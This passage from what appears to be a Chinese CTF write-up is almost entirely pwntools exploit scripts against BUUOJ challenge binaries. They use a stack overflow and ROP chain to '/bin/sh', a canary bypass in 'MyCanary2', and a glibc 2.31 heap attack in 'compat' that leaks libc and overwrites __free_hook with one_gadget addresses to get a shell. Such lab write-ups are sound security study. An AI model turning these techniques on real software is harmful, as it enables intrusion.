sla('message','71')
sla("message","16899")
sla("message","3272")

sla("message","13694")


sl(str(0xff00002f))
#debug()
sl("/bin/sh\x00"+"a"*(48)+p64(pop_rdi_ret)+p64(bss_addr)+p64(0x04007C9))


ia()

MyCanary2

溢出覆盖之后只要让程序leak一下,sercet就会变回去,然后注意一下栈上的v4要为0就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#encoding: utf-8
#!/usr/bin/python
from pwn import*
import sys
#context.log_level = "debug"
context.arch="amd64"
binary_name = "MyCanary2"
libc_name = "libc-2.31.so"
ld_name = "ld"
local = 1
version = "9.9"
elf =ELF("./"+binary_name)
libc = ELF("/home/nelson/Desktop/glibc/{}/{}/{}".format(libc_name,version,libc_name))
#ld = ELF("./"+ld_name)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :log.info(tag + " -------------> " + hex(addr))
ia = lambda :io.interactive()
if local==1:
io = remote("node4.buuoj.cn",26141)
else:
io = process("./"+binary_name)
# 0x00004014A4 0x00401519
def debug():
gdb.attach(io,'''
b *0x00004014A4
''')
pause()
bin_sh_addr = 0x004020F0
rand_addr = 0x04040D0
system_addr = elf.sym["system"]
shell_addr = 0x000000000401573
# debug()
sla("Input your choice","1")
payload = b'a'*(80+16+12)+p32(0)+p64(0)+p64(0x0040157B)
sla("Show me the code:",payload)

sla("Input your choice","2")
sla("Input your choice","3")

ia()

compat

复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#encoding: utf-8
#!/usr/bin/python
from pwn import*
import sys
#context.log_level = "debug"
context.arch="amd64"
binary_name = "compact"
libc_name = "libc-2.31.so"
ld_name = "ld"
local = 1
version = "9.0"
elf =ELF("./"+binary_name)
libc = ELF("/home/nelson/Desktop/glibc/{}/{}/{}".format(libc_name,version,libc_name))
#ld = ELF("./"+ld_name)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :log.info(tag + " -------------> " + hex(addr))
ia = lambda :io.interactive()
if local==1:
io = remote("node4.buuoj.cn",29037)
else:
io = process("./"+binary_name)

def debug():
gdb.attach(io,'''
''')
pause()
def add(data,tag):
sla("choice:","1")
sla('data:',data)
sa('tag:',tag)
def show(index):
sla("choice:","2")
sla("idx:",str(index))
def delete(idx):
sla("choice:","3")
sla("idx: ",str(idx))
def reset():
sla("choice:","4")

add("aaa","\xf0")
se("aaa")
show(0)
ru("aaa")
heap_addr = uu64(io.recv(6))
info("heap_addr",heap_addr)
for i in range(7):
add(str(i+1),'1')

for i in range(8):
delete(str(i))
add("bbb",'\xfc') #0
manage_heap = heap_addr + 944
payload =b'aaa'+p8((manage_heap)&0xff)+p8((manage_heap>>8)&0xff)
sl(payload)
unsor_heap = heap_addr + 1232
add("ccc","\xfc") #1
payload =b'aaa'+p8((unsor_heap)&0xff)+p8((unsor_heap>>8)&0xff)
sl(payload)
target_heap = heap_addr + 880
payload =b'aaa'+p8((target_heap)&0xff)+p8((target_heap>>8)&0xff)
add("aaaa","\xfc") #2
sl(payload)
reset()
show(1)
ru("data: ")
libcbase = uu64(io.recv(6)) - 2014176
info("libcbase",libcbase)
system_addr= libcbase + libc.sym["system"]
one=[0xe6aee+libcbase,0xe6af1+libcbase,0xe6af4+libcbase]
free_hook = libcbase + libc.sym["__free_hook"]
info("free_hook",free_hook)
reset()
payload = p64(0)*3 + p64(0x71)
add(payload,'1')
payload = p64(0)*7+p64(0x91)
add(payload,'1')
delete(0)
delete(2)
reset()
payload =p64(0)*7 + p64(0x91)+p64(free_hook)
add(payload,'1')
add(p64(0),'1')
add(p64(one[1]),'1')
delete(0)
reset()
#debug()




#reset()


ia()